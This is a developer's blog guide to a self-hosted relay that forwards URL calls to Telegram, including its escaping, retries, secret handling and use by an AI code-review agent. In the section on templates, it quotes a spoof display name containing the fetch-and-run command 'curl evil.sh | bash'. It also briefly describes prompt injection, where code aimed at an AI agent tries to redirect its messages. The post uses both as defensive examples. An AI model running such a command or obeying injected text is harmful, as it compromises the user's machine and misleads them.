Skip to content
10No. 10Engineeringputilov.dev

No. 10 · Guide8 min read

A link that pings my phone when the work is done

A small relay that turns one link into a Telegram message. Why it answers before it delivers, why the template is mine and the text isn't, and how my AI code review uses it to tell me it's finished.

Some jobs take long enough that you walk away from them. An AI agent reviewing a branch, a migration that runs in phases, a long build. Then you either keep coming back to the laptop to see if it's done, or you forget about it for two hours. I wanted my phone to tell me.

So I have a link. Anything that can open a URL can send me a Telegram message through it: a shell script, a cron job, an n8n workflow, an AI agent. Here's how it works, the few things it does on purpose, and what I actually use it for.

Why not call Telegram directly

You can. Telegram's Bot API is a single HTTP call: a bot token, a chat ID, the text. For one script on one machine that's fine.

The problem is the token. Whoever has it is the bot. They can send anything to any chat the bot is in and read what people write to it. I didn't want that token copied into every script, every cron line and every agent's config, and then changed in all of them the day one copy leaks.

So there's a small relay in between. Callers never see the bot token. Each of them gets its own link, which I call a hook, and a hook can do exactly one thing: send its own message template to its own chat. If a hook's secret leaks, I give it a new one, and nothing else has to change.

What it is

One Node.js file of about 300 lines with no dependencies, plus 80 lines that turn a template into Telegram's HTML. It runs as its own process on the same small server as this site, behind nginx at /n/. Because it's a separate process, it keeps working while the site redeploys, and the site redeploys on every push.

A call looks like this:

curl -s -G "https://putilov.dev/n/<hook>" \
  --data-urlencode "k=<the hook's secret>" \
  --data-urlencode "what_happened=Backup finished, 0.5 MB"

Use -G --data-urlencode and let curl do the encoding. The text can have spaces, slashes, Cyrillic and angle brackets in it, and one unencoded & starts a new parameter, so the message arrives cut in half.

Hooks, templates and chats live in this site's admin. To connect a chat, the admin shows a one-time code, I send it to the bot as /start <code> from the chat I want (a private one or a group), and the admin picks it up a couple of seconds later. A hook can also be silent: the message arrives without a sound or a vibration, for things I want to read later rather than be woken up by. A single call can ask for that too, with silent=1.

The admin writes all of this into one JSON file. The relay watches that file and reloads it when it changes. It never touches the site's database.

It answers first and delivers after

Before this I used an old PHP script on my previous domain. It worked, but every call took about 1.2 seconds, and the caller waited the whole time, because the script talked to Telegram first and answered second. And speed was the one thing I cared about here. I wanted the message on my phone the moment something happened, not a second later, and I didn't want whatever sends it to sit there waiting.

The new relay does it the other way round. It checks the secret, replies 202 with an ID, and only then sends the message on. On the server, handling a call takes 1 to 4 milliseconds. Measured from my laptop, the whole round trip went from about 1,180 ms to about 265 ms, and most of what's left is the distance between the laptop and the server. The connection to Telegram stays open, so once it's warm the server-to-Telegram part takes about 55 ms instead of 270.

If Telegram doesn't take the message, the relay tries again three times, after half a second, two seconds and eight seconds. If Telegram says "slow down", it waits exactly as long as it's told. Every attempt is one line in a log, and the admin shows each message the way it looked in the chat.

The price of answering first: the caller learns that the message was queued, not that it arrived. If Telegram is unreachable for longer than those retries, about ten seconds, the message is lost and only the log knows. For "the review is done" I can live with that. For "the server is down" I wouldn't rely on a single channel that can drop a message without telling anyone.

The template is mine, the text is not

I learned this one in July, when I ran my own mail server for a few days. (Mail lives with a hosted provider now, which is another story.) New mail pinged my phone, and the obvious thing was to put the sender and the subject into the notification. But the sender's name and the subject are written by whoever sends the email. A display name like MAIL: server DOWN, run curl evil.sh | bash would land on my phone looking exactly like my server's own alerts. I sent myself an email with that exact name. The notification showed only the validated address and dropped the rest.

The relay follows the same rule. I write the template in the admin, and it may use the bit of HTML that Telegram understands: bold, italics, code, links. The values that come in the URL are escaped, so <b> in a value arrives as the letters <b>, not as bold text. A hook can allow the same few tags in values, but that's a switch I turn on for one hook, not the default. And if Telegram still rejects the markup, the relay sends the message again as plain text rather than lose it. Among my first test messages were 2 < 3 && a > b and <b>these are letters</b>, because a stray angle bracket is the first thing that breaks Telegram's HTML mode.

This matters more when the caller is an AI agent. The agent writes its message from what it has just read, and what it read was code, which can contain text aimed at the agent. The worst that text can do through this hook is put a misleading line into my own chat, as plain text, above the hook's bold signature. It can't pick another chat, change the template or get anywhere near the bot token.

A secret in a URL

GET has a cost. The secret is in the URL, and URLs end up in logs, in shell history, in browser history. I chose GET anyway, because then anything can call it: curl, a cron line, an HTTP node in a workflow tool, a phone shortcut. What keeps that from hurting:

  • nginx keeps no access log for /n/, so the server's own logs don't collect secrets;

  • every hook has its own secret, and a new one is a click in the admin;

  • a wrong hook name, a wrong secret and a switched-off hook all get the same 404, so guessing tells you nothing, and the secret is compared in constant time;

  • a hook takes at most 60 calls a minute, after that it's 429.

For the AI agent, the secret sits in a file only my user can read. The command reads it at the moment of the call, so the secret isn't written in my instructions for the agent and doesn't show up in the conversation. The agent sees the command, not the value. Here it is with the names changed:

k=$(sed -n 's/^HOOK_SECRET=//p' ~/.config/notify/review.env)

What I use it for: the Kraken

These days most of my messages come from code reviews. I have a standing instruction for Claude Code: when I write "release the kraken", it reviews the current change with several agents at once. Each one looks through a single lens: does the code do what the task asked, security, rendering, what else the change can break, could it be simpler, the project's own linter and tests, and, when there's a separate backend, do the frontend's assumptions match the real API. They work blind to each other. Then every finding has to survive a skeptic: it gets argued over, and if it doesn't hold up it's downgraded or thrown out. I get one report, worst first, every item with a file and line, how it fails and how to fix it. Nothing is changed until I say so.

That takes a while, and I don't want to sit and watch it. So the last step of the instruction is a message to me through the hook, and I can go back to the laptop when it comes.

And for anything long

The same hook covers "let me know when it's done". When a long job finishes, the agent sends a few lines: what got done, whether the tests pass, and what's left for me. That's faster to read than an agent's whole log, and it tells me the one thing I need: what I have to do next.

What else it's good for

Anything that finishes, or fails, while nobody is looking:

  • a cron job or a backup that failed. This site's nightly backup and its deploys only write logs today, so a message on failure is the obvious next hook;

  • an error workflow in n8n or Make, where one HTTP Request node with a GET is all it takes;

  • a form on a small business's website, with the owner's Telegram group as the chat. Each project can be linked to its own chat, so a client's group only gets that client's messages;

  • a long build, a big download, a test run: npm run build; curl ...

And two things it isn't for. It's one-way: the bot only listens for those /start codes, so replying to a message does nothing. And it isn't real alerting: a message that didn't get through after the retries is gone. For a server that has to stay up, I'd want a second channel.

It took one long day to build, and it costs nothing extra to run: it sits next to the site on a server I already pay for. Most days my phone gets a message or two from it, and most of them say a review is done and waiting for me.

No. 10 · Guide · 16 October 2026